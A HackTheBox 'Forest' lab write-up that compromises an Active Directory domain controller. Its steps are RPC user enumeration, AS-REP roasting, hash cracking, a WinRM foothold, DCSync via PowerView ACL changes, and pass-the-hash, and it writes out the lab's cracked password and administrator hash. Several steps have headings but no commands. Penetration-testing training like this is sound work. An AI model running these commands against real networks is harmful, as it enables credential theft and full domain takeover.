Forest — HackTheBox Machine Writeup

::Nmap Scan

asbawy@kali:~$ nmap -sC -sV -p- -T4 -Pn 10.129.95.210 -oN scans/nmap-full.txt
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf       .NET Message Framing

::RPC Username Enumeration

Since this is a Domain Controller, we can enumerate domain users anonymously via RPC:

asbawy@kali:~$ rpcclient -U "" -N 10.129.95.210 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

::AS-REP Roast Attack

svc-alfresco has Kerberos pre-authentication disabled (UF_DONT_REQUIRE_PREAUTH). This means anyone can request an AS-REP for this account and crack the encrypted timestamp offline:

asbawy@kali:~$ impacket-GetNPUsers 'htb.local/' -request -dc-ip 10.129.95.210 -format hashcat -outputfile loot/hashes.asreproast
Name          MemberOf                                                UAC
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  0x410200
$krb5asrep$23$svc-alfresco@HTB.LOCAL:82e594b127490167...[truncated]

::Cracking the Hash

asbawy@kali:~$ hashcat -m 18200 loot/hashes.asreproast /usr/share/wordlists/rockyou.txt --force -O

::Verify Credentials

asbawy@kali:~$ crackmapexec winrm 10.129.95.210 -u svc-alfresco -p 's3rvice'
WINRM  10.129.95.210 5985  FOREST  [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

::Foothold — Evil-WinRM

asbawy@kali:~$ evil-winrm -i 10.129.95.210 -u svc-alfresco -p 's3rvice'

This is where we pivot from manual enumeration to automated AD attack path analysis.

::Collection

asbawy@kali:~$ pharaohound collect 

-t 10.129.95.210 

-u svc-alfresco 

-p 's3rvice' 

-d htb.local 

--method All 

--no-zip 

-o pha-collect/ 

--timeout 30

Output:

::Analysis

asbawy@kali:~$ pharaohound pha-collect/ -o pharaohound-report/ --format both --all --no-color

Key findings from the 30 analyzers:

::Attack Path Identification

pharaohound distilled the analysis into 3 prioritized attack paths:

::Step 1: Verify Nested Group Memberships

svc-alfresco is nested into Account Operators via Service Accounts → Privileged IT Accounts.

::Step 2: Check Exchange Windows Permissions Rights

Using PowerView to verify that Exchange Windows Permissions has WriteDacl + DeleteTree on the domain:

::Step 3: Add to Exchange Windows Permissions

Since Account Operators has GenericAll on Exchange Windows Permissions:

Verify (requires new logon session):

::Step 4: Create a Fresh User for Clean Token

Group membership changes don't always propagate to the current Kerberos token. We create a fresh user to ensure clean token:

::Step 5: Grant DCSync via PowerView

Login as the new user and use PowerView's Add-DomainObjectAcl:

Verbose output confirms three GUIDs applied:

::Step 6: DCSync Attack

asbawy@kali:~$ impacket-secretsdump 'htb.local/pharaoh:Ph43a0h!@10.129.95.210' -just-dc-user administrator

::Step 7: Pass-the-Hash as Administrator

asbawy@kali:~$ evil-winrm -i 10.129.95.210 -u administrator -H '32693b11e6aa90eb43d32c72a07ceea6'

• ▹pharaohound — AD Collection & Analysis Framework